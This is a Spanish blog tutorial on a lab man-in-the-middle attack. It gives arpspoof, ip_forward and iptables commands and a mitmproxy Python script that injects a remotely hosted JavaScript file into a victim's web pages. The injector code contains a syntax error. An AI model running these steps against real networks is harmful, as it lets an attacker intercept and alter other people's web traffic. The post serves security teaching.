¿Qué es mitmproxy?

En esta nueva entrada del blog vamos a tratar un tema que siempre despierta un gran interés. No se trata de ninguna técnica nueva ni mucho menos, pero sigue dando mucho «juego«. Se trata de los ataques a la red TCP/IP, concretamente haciendo Man-in-the-Middle con envenenamiento de ARP. Algo de lo que ya hemos hablado en varias ocasiones en ese blog, pero en esta ocasión nos vamos a centrar en el tráfico Web el cual vamos a controlar con un proxy Web diseñado precisamente para el tipo de ataque que vamos a ver a continuación, mitmproxy.

Esta herramienta, que la podéis descargar desde su GitHub en esta dirección https://github.com/mitmproxy/mitmproxy, actúa como un proxy Web donde podemos interceptar tráfico, como lo haría otros proxies Web locales como Burp o ZAP, y nos proporciona una serie de scripts en Python para, por ejemplo, inyectar código HTML. Suena divertido, ¿verdad? Hay muchas herramientas que también permiten hacer esto, pero hemos elegido esta por su sencillez a la hora de lanzar este ataque.

Objetivo: inyectar código HTML

Nuestro objetivo es lanzar un ataque de MitM utilizando la técnica de envenenamiento ARP, redirigir el tráfico Web a nuestro proxy local, mitmproxy, e inyectar nuevo código en la respuesta del servidor, para alterar la apariencia de la Web en el navegador del usuario.

Escenario

Como venimos haciendo últimamente en el blog, pasamos a explicar cuál es el escenario que vamos a usar para esta prueba de concepto del ataque.

Tenemos dos máquinas virtuales; una Windows 7 (192.168.10.146) que actuará como víctima y una Kali 2 (192.168.10.149) que actuará como máquina atacante.

Herramientas a usar en máquina atacante:

• arpspoof: para lanzar ataque MitM evenando tabla ARP
• iptables: para redirigir tráfico 80/443 a mitmproxy
• mitmproxy: para interceptar e inyectar código HTML

Si usáis como máquina atacante Kali 2, estas herramientas ya las tendréis a vuestra disposición para ser usadas.

Ataque MitM y redirección de tráfico

Antes de poder inyectar tráfico HTML en las respuestas del servidor al cliente (navegador Web de la víctima), necesitamos que su tráfico de red pase por nuestra máquina atacante, para ello lanzamos un ataque de arpspoofing con la herramienta arpspoof.

Pero antes de hacer esto, si no queremos dejar a la víctima sin acceso a Internet u otras redes, tenemos que hacer que nuestra máquina atacante actúe como un router, y haga reenvío de paquetes.

echo 1 > /proc/sys/net/ipv4/ip_forward

Teniendo en cuenta, que la puerta de enlace es la 192.168.10.2, la sintaxis quedaría de la siguiente manera:

arpspoof -i eth0 -t 192.168.10.146 192.168.10.2

Si todo se ha ejecutado correctamente, ya tenemos pasando por nuestra interfaz el tráfico de red de la máquina Windows 7. Como hemos comentado anteriormente, nuestro objetivo es interceptar el tráfico Web, tanto http (80) como https (443), así que necesitamos que este tráfico sea redirigido a mitmproxy, que por defecto escucha en el puerto 8080.

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8080

Inyección de HTML con mitmproxy

Una vez que tenemos el tráfico Web redirigido, vamos a ejecutar mitmproxy (lo ideal es ejecutarlo antes de hacer iptables) para interceptar el tráfico e inyectar código HTML, concretamente será un Javascript.

Como veréis a continuación, lo haremos con algo divertido y es modificando la apariencia de una Web, pero seguro que estáis pensando que puede ser usado para otras «cosas«.

Como siempre, en nuestro blog, no fomentamos que hagáis un uso ilícito de estas técnicas. Hacedlo en entornos propios o con el consentimiento expreso de terceros.

A mitmproxy le vamos a pasar como parámetro un script para que inyecte código JavaScript en las respuestas HTTP del servidor, que será cargado en el navegador Web de la víctima.

Este script se llama js_inyector.py y os pongo aqúi el código.

El código lo he obtenido del blog de Pankaj Malhotra: http://pankajmalhotra.com

# Usage: mitmdump -s "js_injector.py src"

# (this script works best with --anticache)

from bs4 import BeautifulSoup

from libmproxy.protocol.http import decoded

# On start of proxy server ask for src as an argument

def start(context, argv):

   if len(argv) != 2:

       raise ValueError('Usage: -s "js_injector.py src"')

   context.src_url = argv[1]

def response(context, flow):

   with decoded(flow.response): # Remove content encoding (gzip, ...)

       html = BeautifulSoup(flow.response.content)

       """

       # To Allow CORS

       if "Content-Security-Policy" in flow.response.headers:

           del flow.response.headers["Content-Security-Policy"]

       """

       if html.body and ('text/html' in flow.response.headers["content-type"][0]):

           script = html.new_tag(

               "script",

               src=context.src_url)

           html.body.insert(len(html.body.contents, script)

           flow.response.content = str(html)

           context.log("******* Filter Injected *******")

Se trata de un script en Python que utiliza la librería de BeautifulSoup para manejar objetos HTML. Sólo he modificado la línea que está marcada para qu e el código lo inyecte al final de la etiqueta body, y no al principio. En este caso, para inyectar una etiqueta HTML nueva para cargará un fichero JavaScript llamado harlem-shake.js. ¿Os imagináis ya lo que hará la Web cuando le inyectemos el código? Seguimos.

El código JavaScript de Harlem Shake lo podéis descargar por ejemplo desde aquí: https://gist.github.com/commadelimited/4958196

Este es el código HTML a inyectar:

<script src=»http://192.168.10.149/harlem-shake.js»></script>

El fichero harlem-shake.js lo tengo en la misma máquina Kali 2, y para que lo pueda descargar el navegador de la víctima, voy a levantar con Python un simple servidor Web donde tengo guardado el fichero.

python -m SimpleHTTPServer 80

Ya podemos ejecutar nuestro mitmproxy con el script de inyección de JavaScript, js_inyector.py. El parámetro -T es para indicar que se ejecutará en modo transparente.

mitmproxy -T -s «js_inyector.py http://192.168.10.149/harlem-shake.js»

Al propio script le estamos pasando un argumento que es el origen del fichero JavaScript que tiene que inyectar, en este caso nuestro servidor Web montado con Python donde se encuentra el fichero harlem-shake.js.

Cuando la víctima abra una Web en su navegador, el tráfico será interceptado y se inyectará el JavaScript. Por ejemplo, supongamos que abre www.hacking-etico.com.

Como se puede ver en la imagen, que se está haciendo una petición GET para cargar harlem-shake.js. De hecho podemos comprobar en el código fuente de la página como realmente se ha inyectado la etiqueta HTML correspondiente.

Ya tan sólo queda por ver el resultado del ataque. A continuación os pongo un vídeo de captura, donde se podrá apreciar mucho mejor. 😉

Aviso: Bajad volumen de los altavoces.

Lo dicho, have fun and profit!

Hasta la próxima 😉

Miguel Ángel Arroyo
@miguel_arroyo76